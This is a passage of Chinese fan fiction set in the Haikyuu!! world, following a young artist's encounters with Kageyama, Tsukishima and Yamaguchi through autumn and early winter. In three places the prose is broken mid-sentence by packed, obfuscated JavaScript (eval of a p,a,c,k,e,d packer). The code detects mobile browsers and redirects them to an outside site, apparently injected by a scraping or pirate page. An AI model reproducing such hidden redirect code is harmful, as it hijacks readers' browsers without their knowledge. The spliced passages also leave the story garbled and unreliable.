故事本身是很老套的校园青春爱情,唯一引爆一次话题,还是很多读者评论说看得很辛苦,他们舍不得这么精美的画风,却又难以忍受狗屎一般的恋爱剧情。 这种评价让许多路人慕名而来,销量在意料之外暴增,而后热度过去,销量又低的吓人。 第一次遭遇休刊的时候,编剧还很担忧地和我说作品可能会被腰斩,让我做好心理准备。 我当然是无所谓,反正画这种东西也只是想找点事打发时间。 不过,休刊期间存稿箱富裕不用再继续动笔画漫画,我又没办法放任自己空闲下来,只要手上没有在做事,心里巨大的空洞就会把我吞噬淹没,将我打翻在危险的深海。 在那样焦灼的情绪下,我感觉压力很大……然后我就去画了我角色的成人同人本。 这么一画,完了。 由于画风精美,人体合理,姿势高超,不用注重剧情,点击量暴增,我自此转行□□画家。 这些任务放在平常慢慢做是完全忙的过来的,现在又要完成画室的任务又要画不正经的漫画又要准备复学,我恨不得自己是漩涡鸣人,用多重影分身同时完成所有工作。 可惜…… 叹了口气,我蔫蔫地给画框里的男主画了个庞然大物。 画完这本之后干脆停一段时间好了,之后开学也要适应新学校呢。 …… 过了差不多一个月,凑巧叠在一起的事情完成一部分,我终于得以喘口气出门写生放松心情。 此时炽热明媚的盛夏已经过去,转而迎接我的是冰冷又萧瑟的秋天。 街道上鲜艳的嫩绿色一点一点转为金黄,仿佛要将人烫伤的阳光和风儿也冷却下来,落在身上带来阵阵凉意,我对这种冷空气一向防备,河堤边也风大,为了能在那边待上几小时完成今日份的写生,我穿上了薄毛衣和薄外套,以防万一,还带了一条围巾。 秋天的河堤与夏天相比,不同在于草地的枯萎,和氛围的清冷。 这里已经不像是一个多月前那样鲜艳耀眼,变得灰扑扑的。 身后的街道也是满地金黄,我在想,我也许可以加一些枯枝和枯叶作为前景,改变构图和关键色彩来增加一些东西。 “……啊。” 从身后传来一道很轻微的惊呼。 我手上动作一顿,随即将团在一起的颜料用画笔铺开,画出颜色更深的阴影,处理好这一块地方,这才直起身子转过头。 眼熟的黑发少年身上只穿着一件短袖,额前的碎发因为出汗微湿,帅气的那张脸上有着极为轻微的讶异,是不仔细看就完全看不出来的神色。 那双让我很在意的眼睛阴沉不再,深蓝的颜色更趋向一种倔强与平静,比起之前压抑着什么的样子要顺眼不少。 “是你啊。” 我并不意外会在这里碰见他,抬手和他打了声招呼,说:“又在运动呢?” 影山飞雄平复了因为跑步而有些急促地呼吸,站在那里看了我好一会儿,才来到我身边停下。 我俩站在一起,我像是在过冬天,他像是在过夏天,这巨大的反差让我纳闷地一挑眉,问:“你穿这么点,不冷吗?” “刚刚跑了很久,现在还不冷。”他老老实实回答,视线越过我,落在我的画上,“你很久没在这里画画了。” “还好吧,对我来说是正常的时间间隔。” 我不喜欢将未完成的作品展示在别人面前,用身体稍微挡了挡,催他赶紧走:“你继续跑吧,这里风大,站一会儿就会觉得冷,如果生病的话,你就打不了球了。” 少年沉默半晌,久到我等得有些不耐烦,才重新开口:“我不会生病,也不会不打球。” 我还以为他要说什么呢,随意“嗯嗯嗯”了几句之后,还是觉得自己的画更重要,没有理会他,又开始专心画我的画。 他没有再说话,也没有离开,只是安静地站在那里看我画画,好像是一团空气。 重新沉浸在画中世界的我没有注意到少年一直没离开,还以为对方已经悄无声息地识趣离开。 结果当我画完最后一笔,想退远些看看这幅画的整体效果时,我的脑袋撞在了一个有些冰冷,也有些坚硬的胸口。 有温热的呼吸夹着河堤上的冷风,扑在我裸露在外的颈脖处。 这一瞬间,我的心脏狂跳,浑身如坠冰窖,下意识握紧了手里的画笔,用笔头狠狠往后戳去。 当然攻击没有奏效,我的手腕被微凉的指尖和温热的掌心攥住,笔头也停在少年的肩膀前五厘米的位置,没有再前进半分。 影山飞雄一愣,视线从那支还沾着颜料的画笔挪开,落在我身上。 我的耳边还残留着心脏剧烈跳动的感觉,蹙起眉头,不满地瞪他:“你怎么还在这里?” 在这里也就算了,跟个鬼一样,一点动静都没有。 我挣脱他的手掌,退开几步,他也顺势放开了我的手,低头想了想,而后又回应我并不友好的视线,说:“看你画画很有趣。” 影山飞雄的所有天赋都点给了排球,从小到大,他的脑袋里除了发球,除了托球,除了接球,除了扣球,其他事情的占比都很少,艺术方面更是小占比中的小占比。 他没有那种时间和耐心,看一个人画完一整幅画。 有这个时间还不如多碰球。 不过现在好像稍微有一些不同。 他那场初中最后一次的正式比赛过程并不让人感到快乐。 被队友拒绝、被教练换下场、被所有人抛弃。 他坐在替补席上,麻木地看着队友在赛场上继续打球,心里的情绪沸腾翻涌,说不清楚是什么滋味, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551568|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后都归于了一片死寂。 在那一天,好像什么都褪去了颜色。 没有人和他说话,赛场上的拒绝延伸到了场下,他有去找过教练,教练只是叹气,然后摇头,也没说什么过分的话,但更让他难受。 无序又混乱的旋涡吞噬了神经,跑步跑得浑浑噩噩,抛球抛得浑浑噩噩,等他回过神来将球捡起,那充满生命力的绿突兀地出现在眼前,完全不被画框所约束,肆意往整个世界蔓延,将原本明媚的夏天又还了回来。 他第一次看到这样神奇的色彩。 而今天,影山飞雄没有急于去完成自己的训练,可能是没有了硬性的时限,也可能是因为他对那副画的诞生起了一些兴趣。 他站在年轻画家的身边,看着那团完全看不出形状的颜料在雪白的画布上大面积铺开,而后又在色块的不停叠加下,轮廓逐渐清晰,层次逐渐分明。 她用她自己的手,创造在画纸上出了一个秋天。 神奇,又有趣。 我听到他的夸奖,神色缓和了一些,环胸说:“那是当然了,毕竟我画的很好啊。任何事情,只要做到了极致,旁人看来都会是一种享受吧。” 极致。 影山飞雄透过那幅画,看向更远的远方:“怎样才叫做极致呢?” “每个人对极致的要求都不一样,看你自己咯。”我回身看了看画上的颜料,差不多可以收起来回家了。 不过在此之前,我把搭在画箱上的那个围巾丢到了少年身上。 “缠上吧,你站在这里看我这么久,人都要冻成冰雕了。” 柔软的针织围巾砸在脸上,像是埋进了一团棉花里,附带着一种淡淡的好闻香气。 影山飞雄动作一顿,有些慌乱地把围巾从头上拽下来,看了我一眼,而后开始笨拙地将女生的围巾往脖子上套。 我就这样看着他差点和围巾打起来,短袖下的两条胳膊还是被冷风吹着,泛起粉粉的红色。 担心他把我的围巾扯坏,我半眯着眼睛叹了口气,抬手拍在他结实的胳膊上:“喂,低下头来,我帮你整理。” 影山飞雄听话地俯下.身子,方便对方能帮自己把围巾整理成想要的形状。 温暖的指尖和温热的手背偶尔会擦过下巴和脖子,他的注意力一下子被那双手吸引。 纤细修长,指尖圆润,皮肤粉白,靠近下巴时,从指尖传来和围巾上同样的花香,一看就是有在好好护理,并在不久前擦过护手霜的。 也许待会儿可以问问她护手的妙招和心得。 他想。 浅色的柔软围巾在一双巧手下将影山飞雄的肩膀和脖子都尽可能的包裹起来,做完这些,对方眉间的烦躁和不耐得到了缓解,那双清澈的眸子染上几分笑意,然后微微眯起,发出了很痛快的笑声。 “这是什么搭配啊。”我笑得仰起头。 少年帅气的脸也撑不住短袖配针织围巾的穿搭,更何况我还想着为他多遮点风,用的是秋季的披肩系法。 如果是穿着大衣或者是针织类的长袖,我敢打包票这种搭配简直就是时尚弄潮儿,可现在…… 好一个时尚乞丐。 我压着笑意,迅速掏出手机给一脸迷茫的影山飞雄拍了几张照片。 去头,发给妈妈。 配文:[给亲亲妈妈送来下一期时装秀主题灵感。] 妈妈回的很快:[?] 妈妈:[不要给我发这种丑东西。] 我:“哈哈哈哈哈哈哈哈哈哈哈哈。” 我就知道。 影山飞雄:“……” 影山飞雄:“?” 怎么回事,好像被耍了。 5. 五条鱼 用来休息的时间总是过得很快。 等我从山口忠那里听到小伙伴们已经开始放寒假的消息时,我才恍然惊觉,自己已经在宫城县待了快四个月了。 这样算来,我和住在同一条街的那个“天才二传”、“球场上的王者”总共也才见了四次面。 神奇的是,到现在我都不知道他到底叫什么,只能通过名牌知道他姓影山,而对方似乎也没有想要知道我名字的打算,家门口的名牌上写着桃沢,最后一次见到他的时候他也喊了我桃沢。 ……微妙古怪又神奇的相处。 虽然表现的好像对我有那么一点兴趣,但实际上他连名字都没打算问。 我抵着下巴沉思。 说不定是漫画中那种玩弄感情的高手。 凭借着一张帅脸,稍微表露出对一些对女性的兴趣,再用恰到好处的冷淡勾起对方的好奇,这样就完全钓人上钩了。 哇,真是可怕的男人。 而且最后一次见面的时候,我们有稍微聊聊天。 影山到现在都还没有发现我和他的时间完全不一样,根本就不用上学……啊,也有可能是发现了,但是不点破。 这样我就会升起疑惑,自然而然地和他搭话,最后交换姓名,交换联系方式,说不定还会因为住的近,用平常一起运动这样的借口和我拉进距离。 唔,是不是把他想的有点太过了? 不对,这可是个陌生男性,警惕一些也很正常。 ……不过说起来,他高中的目标居然是那个白鸟泽高校诶。 真不得了啊。 现在让我去做白鸟泽的入学测验,我估计都要花点时间猛猛复习一个学期才能十拿九稳呢。 听阿月那样说,影山打排球打的很厉害,大部分的重心也都放在排球上,在这种情况下还能兼顾学业,考上偏差值那么高的高校吗? 那所学校的基本情况我略有耳闻,不论是师资还是其他资源,都是宫城县顶尖的,所以门槛也很高来着。 不愧是团队里的大脑,队伍里的心脏啊,影山选手。 我手里用平板画着赤条条的人体线条,思绪已经飘到了别的地方去。 “啊!小桃小心!” 听到山口忠的惊呼,我下意识抬起头,一颗高速旋转的排球飞驰而来,几乎是一呼一吸间就到了眼前,完全不给我躲闪的机会。 “嘭!” 球砸在额头上,给我撞得整个人都往后仰,一种莫名的疼痛自额头中心散发开来,让我的脑袋一阵发蒙。 首先飞奔到我身边的是山口忠和月岛萤,然后才是和他们两个一起打球的其他陌生同学。 山口忠小心翼翼地用手虚扶着,担忧地问我:“还好吗?小桃,看得清吗?这是几?” 他给我比了个“2”。 回应他的,是本人软绵绵倒下去的身体。 “!”山口忠魂都吓飞了,他连忙护住我脆弱的脑袋,防止我再次被地板重创,“小桃!” “啊……”我的眼前有不同的光晕在变化,混合着麻麻点点的黑白灰三色,有一束光朦朦胧胧地照射过来,光芒中似是有一个温柔的身影朝我伸出手。 我迷迷糊糊把手伸过去,喃喃道:“来接我了吗……玛利亚……” “被砸一下就要被玛利亚接走的人也太弱了吧!”月岛萤实在是忍不住吐槽,说完又无奈地叹了口气,对山口忠说:“我带她去旁边坐一会儿。你们也别围在这里了,继续吧。” 后面那句话是对着其他围在这里的同学说的。 他们还是有些担心出事,不过既然月岛萤已经接手了这事,他们只好互相看了对方一眼,招呼了一个替补上场,完成接下来游戏性质的排球比赛。 身高将近一米九的巨人把我架起来,脚尖不着地的感觉让我更觉得自己是在天上飞。 我晕晕乎乎地被月岛萤带到旁边的长椅上坐下,他伸手托住我的下巴,看了看我的额头,甚至还碰了碰。 “嘶。” 我立刻疼得倒吸一口气,人都清醒不少,迅速把他的手拍掉:“干什么!很痛诶!” “……咳。”奶黄色短发的少年干咳一声,收起眼中明显的幸灾乐祸,无比关切我,问道:“要不要送你去医务室?那里应该有热敷用的东西。” 我一秒识破他的虚情假意,瞪他:“不要。” “那,喝水?” “不要。” “好吧。哦,对了,我想这个东西你一定需要,我去帮你拿。” “……什么?” 我直觉他是没憋什么好屁,对他的提议根本不抱期待,于是面无表情地看着他从我身边起来。 也就是在他起身的那一瞬间,长凳因为两边重量不对等而失去平衡,差点让我摔到地上去,幸好月岛萤反应迅速,伸手按住了他那边的长椅边缘,帮我稳住重心。 我的心脏砰砰砰地狂跳,惊魂未定地抱住长椅,抬头看他:“啊?” 他干咳一声,解释道:“我忘记我们坐的是长凳了。” 月岛萤再次起身去够自己的包,从夹层里掏出一把裁纸用的儿童剪刀递给我。 我沉默片刻,开口道:“我觉得虽然我初中三年没有和你一起读书,但是我们之间的默契应该还没有消失,你给我这把剪刀不会是为了……” “嗯,你给自己剪个刘海遮遮吧,额头上肿了好大一个包,好像红糖馒头。” “……”果然。 我忍了忍,忍了又忍,最后忍无可忍,一脚踹在他的小腿上,大声:“滚呐!” 这一脚踹上去,月岛萤纹丝不动,我屁股底下的凳子倒是往后“吱”得挪了一段距离。 我:“……” 月岛萤:“噗。” 服了,你搞运动的了不起啊! 再在这里待下去我感觉我没有被排球砸晕都要被这个死小子气晕了,我要回家!可恶的混小子!现在我就要回家! 看我愤愤地把包挎在背上,月岛萤收敛了一些笑意,问:“这就要回去了吗?” “当然,你看看我跟着你都在过什么苦日子。” 为了表达我离开的决心,我把包包里的棒球帽扣在头上,抬手隔开我们之间的距离:“等你这个人坏到连排球都要打你的时候,我会很愿意留下来看你被排球暴揍的,现在我要和你说永别,我的前任挚友。” 月岛萤:“……噗。” 我忍了忍,忍了又忍,最后忍无可忍,再次一脚踹在了他的小腿上:“别笑了啊!” 可恶的月岛萤,这场破嘴,迟早有一天我要撕了他! 最后,我还是被我这位性格糟糕的幼驯染送出了体育馆,还在路边陪我站了一会儿,帮我打了一辆计程车。 至于那场排球比赛,在这场令我对排球的印象跌到谷地的意外发生前,月岛萤和山口忠所在的队伍就已经把比分拉到了一个对面很难追的分差,这会儿他从场上退下来,这场比赛的结果也不会有任何改变。 而且这也只是他们学校社团活动内部的一场分组比拼而已,并不是什么需要严肃对待的赛事。——月岛萤如是说。 嗯,完全就是随意过了头。 其实我曾经是很喜欢看月岛打排球的。 可能是受他哥哥月岛明光的影响,从小他对排球就情有独钟,很有奔头,那种追着排球跑的执着,和在球场上用实力碾压一众小学生的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551569|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在是过于帅气。 那个时候的月岛萤是皓月当空的月亮,而那些小学生就是他身边被月光掩盖了光芒的星星,让人在暗蓝色的夜幕中只能看见月亮的光辉。 而,在月岛萤对排球失去了一部分热情后,那种光芒便逐渐暗淡下去,远不如从前那样耀眼。 计程车很快就到了小区所在的街口,我到了熟悉的地方,心情有许些放松。 付了钱下车,在关上车门时恰好又几片残败的树叶飘落下来,我抬头往上看,枯枝如同一只只枯瘦的手,挣扎着想要去触摸遥不可及的天空。 车子缓缓起步,开走。 细长的枝丫上明明已经没有几片树叶了,却依旧在寒风的吹拂下继续凋落。 是冬天了。 ……再过一段时间是元旦,是新年。 真神奇,来的时候明明还是夏天,没觉得过了多长时间,却这么快就要过新年了。 我的半张脸埋在软绵绵的围巾里,呼吸时从鼻尖和唇边呼出薄薄的白气。 “啊。” 听到这个熟悉的声音,熟悉的开场,我侧头看过去。 果然,一头黑色短发柔软贴在脸侧的帅气少年就站在不远处的街边。 冰冷的空气似乎不能给他带来什么影响,深秋他穿运动短袖,初冬他穿运动长袖,和我像是完全不在同一季度。 我忍不住问他:“你真的不冷吗?” “因为刚刚在跑步。”影山飞雄上下看了我几眼,“而且,是你太怕冷了。” “我没有。”我反驳他:“冬天就是该穿毛衣。” 他说:“夏天的时候没见你有这么胖。” 我沉默了半晌,然后深吸了一口气,说:“影山同学,你不会说话的话其实可以不说。” 他的神色有些茫然,但这种表情变化十分细微,并不明显。 有时候就是因为这些微表情,我总是不太确定他说出一些扎心之语的时候到底是不是故意的。 唉,我说影山同学,不要再浪费这张帅气的脸了,你不说话的时候就挺好的。 现在的帅哥都是这种毛病吗? 有没有人能把月岛萤和影山选手的嗓子给毒哑啊? 有时候真的很想成为一个心狠手辣的裁缝,这样我就可以在一个阴雨连绵的夜晚化身成变.态,然后把这两个人的嘴巴统统缝起来做成都市七大不思议事件。 ……好像和裂口女的攻击形态有点撞了。 不不,也许我存在的意义就是为了把裂口女剪开的嘴角给缝回去。 …… 不对。 我在想什么奇怪的设定和诡异的故事情节。 这种走神乍一看是想了很多内容,其实也只不过是脑内的几秒钟活动。 为了不再从影山飞雄的嘴里听到什么废话,我直接转移话题:“影山同学现在回家吗?你可以先跑回去,冷风吹多了容易着凉。” 少年想了想,然后出于邻里邻居的礼貌,还是决定和我一起走回去,没有先跑。 我在心里默默叹了口气。 他并不是个话多的人,有些时候不太接话,有些时候接话就让我很想捶他。 我们两个一前一后走着,两个人都没有说话。 此时恰好经过一个路口,从正前方吹来了一阵冷风,吹得我闭上了眼睛,也吹掉了我扣在脑袋上的帽子。 影山飞雄侧目看过来,想帮我接住帽子,目光触及到我的额头,微微一愣:“你……” “原来真是肿了。” 我:“……” 他是故意的!我宣布他就是故意这样说的! 缝起来!快来人把他这张破嘴缝起来! 6. 六条鱼 我还是给自己剪了个刘海。 倒不是怕在外面的时候被人看到额头红肿,而是我在家的时间居多,偶尔走过玻璃前,或者是走过镜子前,我习惯性从里头看自己的时候,就会下意识被额头上那一片红色吸引注意。 它之后还会变成青色,变成紫色,比现在还要难看。 丑到别人也就算了,我自己平常也要看我自己的。 于是我几剪刀下去,给自己干脆利落地剪了一个门帘。 看着镜子里斜得有些离谱的刘海,我沉默了一会儿,选择自欺欺人地无视。 ……不管怎么说,总比红糖馒头好看。 就这样过了几天,我的额头果然青了一块,不过几乎已经感觉不到疼痛,是在往好的方面愈合的,我也没有太放在心上,都是小事情。 倒是山口忠一直对带我出去看比赛,最后却让我受伤回家这件事耿耿于怀,线上每天都会关心我的状态,并总是在表达歉意。 我哪里会怪他,只是我发出去的“没关系”似乎对他来说作用不大,他依旧十分在意。 思量之下,我还是挑了个时间约他出门,拜托他陪我去买点过新年要用的东西。 山口忠对我的主动邀约多少有些受宠若惊,他很高兴能帮上我的忙,并在第二天就兴冲冲地跑到了我家门口,手上还拎着山口阿姨今天新鲜出炉的布丁和羊羹。 最后一次尝到山口阿姨的手艺还是两年前山口给我邮寄的樱饼。 我很高兴他能带着这些小甜点来见我,同时我也有些犹豫要不要请他先进屋喝杯茶。 像是看出了我的迟疑,山口忠站在门外,脸上露出一个笑容,说道:“不用麻烦,我就不进去了,待会儿不是还要再出门吗?你把这些放好在冰箱就行,我在门口等你。” 我点点头,快步把他带来的甜点塞进冰箱,然后拎起放在沙发上的围脖,很是随意地围在脖子上,确认自己行头没有不妥之处,连忙关上大门,来到山口忠身边。 冬天的冷空气十分恐怖。 他只是在外面站了几分钟,鼻头就红红的。 少年并不在意,只是和我并肩往前走,顺嘴问我一句:“阿月自己一个人先去商场了吗?” “嗯?”我微微侧头:“我没喊他。” 山口忠:“!” 他顿时目瞪口呆地看着我,脚步都慢下来:“没、没喊他?只有我们两个吗?真的假的?你确定吗?” 我双手环胸,“谁让他嘲笑我,如果被他看到我真的给自己剪了头发,指不定会笑得多大声呢。” 山口忠一时语塞,他梗了梗,又道:“但是如果被阿月发现我们两个出去逛街没喊他的话,他会生气的。” 我一时间也有些哽住。 想象了一下月岛萤从第一阶段面无表情对我发起冷嘲热讽,到第二阶段用嘲笑的表情对我发起冷嘲热讽,再到第三阶段冷漠地盯着我当着我的面给我拉黑的全过程,我默默掏出手机,给月岛萤发消息,请求他出来陪我买东西。 当然我没说山口忠已经在我身边这件事。 那边迟迟没有回消息,我和山口忠对视一眼,又给他打了个电话。 就在电话接通的那一瞬间,我和山口忠转过前面的路口,刚好就碰到了手上举着手机,也准备转弯的月岛萤。 我们开始沉默地对视。 月岛萤:“……?” 他面无表情地挂断电话,同时在屏幕上看见了我给他发的邀约消息,表情逐渐冷凝,视线在山口忠身上转了一圈,最后定格在我身上。 山口忠顿时浑身僵硬。 我的额头上也冒出了冷汗,和他对视半晌,露出一个干巴巴的笑容,主动对他打招呼:“好巧啊,阿月,居然在这里碰到你,哈哈哈哈,哈哈哈哈哈。” 月岛萤没有说话,只是冷漠地盯着我看。 然后我就闭上了嘴,静待他骂我。 “出去陪我买点东西吗。”他语调毫无起伏,一字一句地念着我给他发的消息:“我还叫了小忠一起哦,商城门口见。” 我:“……” 汗流浃背。 “不是‘叫了小忠一起’,是‘和小忠一起’吧。”他说:“你在欲盖弥彰什么。” “我……”我是怕你多想啦。 “以为我知道你们两个单独见面却把我抛下之后我会很生气吗?”他说:“其实你想多了,我完全不会生气。” “你……”你现在就在生气啊=A= “少在这里自以为是了,我怎么可能会在意这种小事。” “可你……”可你一副很在意的样子诶。 “哈,说到底你这三年一次都没有回来过也一次都没有联系过我,早就已经不了解我了吧。” “……” 我又闭上了嘴。 山口忠伸出手,企图为我辩解:“阿月,不是你想的那样,是我……” 月岛萤冷漠地看他:“一丘之貉。” 山口忠:“……” 因为我和山口忠都闭上了嘴巴,月岛萤俯视了我们两个几秒,然后蹙起眉头,别过头,说:“我要走了,不要管我。” 读作:不要管我。 写作:敢不管我就绝交。 我暗道不妙,一把抓住了他的手腕。 月岛萤比我的力气大很多,他只要稍微挣扎就能把我的手甩掉,但少年只是象征性地甩了甩手,随即冷哼一声,面色不善地斜眼看我。 “请你吃草莓蛋糕!”我十分真诚地对他说:“请你吃一整个草莓蛋糕,别生气。” 月岛萤:“……哼。” 又冷哼了一声,一副不想理我的样子,但没有转头就走,还是和我们走在了一起。 在我和山口忠坚持不懈的骚扰下,月岛萤还是不情不愿地坦白,上次月岛阿姨知道我被球砸了,一直就很担心我会不会有事,催着月岛萤过来探望我。 原本他是想问问我情况的,但他就是一个越催越抗拒的反骨仔,直到今天才磨磨蹭蹭地出门。 我太懂他了,他绝对是不好意思和我说要来找我,打算装作路过我家,“顺便”看一眼我,稍微说几句话就回去复命的。 不过今天也太凑巧了,他不会是听小忠说我差不多好了,想着再不来看我我就痊愈了,所以才拖到现在的吧? 我摸摸下巴,狐疑地盯着他的背影看。 越想越有可能。 ……算了,不管怎样,被他碰见“孤立现场”,他这种敏感的性格会不高兴很正常,我还是哄哄吧,谁让我是姐姐呢。 于是,我真的兑现了我的承诺,联系我常去的那家连锁蛋糕店,加急给他定制了一个六寸的草莓蛋糕。 等我们逛完街,把该买的东西买完,蛋糕刚好做完,月岛萤没想到我说的居然是真的,在蛋糕到手的那一刻,别别扭扭地撇了撇嘴,声音很小地和我道了谢。 站在分别的三岔路口,有夕阳从他身后照过来,将他的轮廓都染上暗色的橙红。 “不用和我客气,阿月别生我的气就好啦。”我从两个少年手里接过两大袋东西,山口忠见我受伤已经提满了,但还有两袋东西在他们手上,于是提议道:“小桃,我们还是送你回去吧,你手上的已经够重了,还有很多没拿完呢。” “那些是给你们和叔叔阿姨们的新年礼物。”我说:“以后不知道要怎么麻烦你们呢,特殊的日子就让我稍微讨好一下吧~” 山口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551570|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忠愣了愣:“这些都是吗?诶,反正到时候也要再见面,现在就送吗?” 月岛萤也微微蹙着眉:“过几天就是大晦日,我妈还说要邀请你和桃沢阿姨晚上来家里吃饭的,你这个意思是,不来了?” “啊……今年我妈应该不会来宫城,她有事呢。” “那不是只有你一个人?更要过来了啊。” 我有些为难地用食指挠了挠脸颊:“这个的话……” 后面的话不说月岛萤也能明白意思。 他冷嘁了一声,转身就走:“随便你。” “啊,阿月。”山口忠喊了他一句,见他没有停下来的意思,无奈地叹了口气,又对我说:“别把他的态度放在心上,阿月只是在闹别扭。小桃,如果觉得一个人在家很无聊,可以随时喊我们出来走走。” 我点点头,和他道了谢。 袋子里全都是一些我想用来布置房间的装饰物和轻飘飘的零食,回去的路程也并不长,我一个人拎着并不觉得费力。 只不过从街头到家里要经过一位并不能算作是朋友的影山姓男士的门前,因为是认识的人所在的地方,我下意识会用余光往那边瞟一眼。 结果这一看,给我吓一跳。 他家的院门虚虚地掩着,而人正在扶着房门门框,低垂着脑袋,恹恹地往里头挪,感觉下一秒就要栽在地上,要倒不倒的。 “喂!” 我简直吓一跳,连忙将手里的塑料袋放在他家院门口,拉门进去,几步上前扶住了影山的肩膀。 这次他好歹穿着毛衣,比上次穿的要厚实,不过因为刚运动过,摸上去有些潮湿,衣服表层微凉,但指尖不小心划过的颈部附近的皮肤却温度略高。 发烧了啊,这是。 影山的反应比平常慢半拍,他后知后觉侧头看了我一眼,勉强站直一些,说:“是你啊,为什么会在这里?” “我刚从外面回来,路过的时候见你状态不好,怕你死在家门口就过来看看。”我说到这里一顿,还在记他上次说我坏话的仇,于是很恶劣地嘲笑他:“每次运动完都不及时穿衣服,着凉了吧,你在发烧哦,运动笨蛋。” 他按了按隐隐作痛的太阳穴,面色严肃地看着我,长呼出一口气,反驳我:“我不是笨蛋。” “……” 被冷空气冷却下来的吐息喷洒在我的鼻尖,有些措不急防。 我的内心简直翻起惊涛骇浪,直接松开了扶着他的手,少年又重新跌回门框边,踉跄一步稳住身体,迷茫地看着我。 他看我也是一脸震惊,迷茫更甚,问我:“怎么?” 我指他:“你知道你在发烧吗?” “啊……原来我在发烧吗?” 我忍了忍,又说:“你不舒服的时候别朝人吐气啊!” 少年陷入了深思,他觉得他刚刚并没有朝人吐气,但是比起这个,他现在有点好奇为什么不能朝人吐气。 我回答:“你莫非真是笨蛋?感冒可以通过飞沫和呼吸传播,你这哪是在呼吸?你是在传播病毒!” 影山:“!这、这么严重吗!” 震惊之余,他试着憋气,但是他最多憋几分钟,于是他摇摇头:“抱歉,我做不到一直不呼吸。” 我两眼一闭。 我没有让他不呼吸,我只是让他别在感冒的时候对着别人咳嗽和呼吸。 这种人居然是二传啊。 好想骂他。 但是我和他不熟,还是别骂了吧。 幸好他以后要去白鸟泽高校,不会跑去和阿月小忠一起打排球。 真好,闺闺们。 你们的二传一定是一个聪明又厉害的家伙,白鸟泽摊上这个二传,他们是完了。 7.七条鱼 我从小就是一个四肢健全,懂事听话的乖孩子。 不过,我的体质并不好,虽然有一个健康的身体,却不好照顾,经常生病,总是妈妈焦头烂额。 大多数小时候的事情我都不记得了,只是因为长大后妈妈和别人谈起之前的不容易,都会提到她把我独自留在医院打吊针的事,所以到现在我还记得当时的情形。 那会儿我只有五岁,还在读幼稚园,入春温差太大,我也是毫无意外地发起高烧,成了大人的累赘。 妈妈工作繁忙,只能加急做完任务,赶着带我去看医生。 医院里都是病人,有护士小姐姐给我过来挂水推针。吊针要打几个小时,晚上的食材还没来得及准备,妈妈的神情难言疲惫,她并不想将自己发着烧的五岁女儿一个人丢在医院,也并不想让我晚上只能吃些没营养的速食。 斟酌之下,她还是摸着我的脑袋,让我乖乖地坐在这里等她回来,并叮嘱我如果她回来太晚,瓶子里的药快打完了,要记得大声地喊护士姐姐过来。 我点点头,反而还安抚她:“没关系的,我会乖。” 在我面前永远说一不二,坚强独立,很少展现自己脆弱一面的大人,蹲在我身前红了眼眶,又不敢耽搁时间,只能匆匆地走了。 从那一刻起,我确实感觉到了体弱的麻烦之处,经常生病会给妈妈造成困扰。 不过小学时期我感觉我有好很多,因为阿月有带我一起打排球,后来认识了小忠,他也和我们一起打排球,运动让我觉得自己的身体越来越健康强壮。 只可惜,小学毕业后,妈妈的事业迎来了机遇,她毫不犹豫地决定要一直向前,带我离开了宫城,离开了阿月和小忠。 我的世界重新平静下来,除了必须要上的体育课,我很少运动,只剩下学习和绘画,日复一日,坐在教室里,坐在画室里,坐在房间里,重新变回了那个体弱多病的桃沢绘里。 好消息是,这次我不会给妈妈添麻烦了,我能自己吃药,也能自己去医院。 我有想过自己太病弱,却又觉得独自去做不喜欢的事情实在很难坚持。 在这种挣扎下,我还是没能迈开步子锻炼自己。 不成为别人的累赘就很好了,只有继续坐在画室里,我才有继续活着的底气。 …… 认识影山选手简直就是我最后悔的一件事情,他总是在给我添麻烦而不自知。 对于感冒发烧我已经有自己的一套成熟的流程,看他的症状,我自己就能给他配药吃。 只不过影山选手很明显是属于几乎不生病的一类人,他家里连消炎药都没有准备,还是我从我家里的药箱拿了两盒感冒药和消炎药给他,让他先吃,不够再去买。 少年的眼睛一直在流眼泪,他抱着一堆药,老老实实和我道谢:“谢谢你,桃沢。” 凶巴巴的一张脸,这会儿看上去实在是可怜兮兮的。 “行了,自己泡药去吧,我要回家了。” “门口的东西是你的吗?我可以帮你拎回去。” “你就省省吧,都烧到流眼泪了,我还不至于奴役一个高烧病人。” 我朝他挥了挥手,拎起我的塑料袋赶紧回家。 回去还有很多事情要做的。 再过三天就是大晦日,也就是除夕日。 在这天人们会进行大扫除,寓意把过去一年中所有的坏运气扫出屋子,以迎接新的一年的幸福和好运。 同时,人们也会在门口摆放门松,挂上由新稻草、象征长寿和子孙繁荣的植物,以及象征子孙万代家运长命的橙子组成的注连装饰,以此来迎接年神的到来。 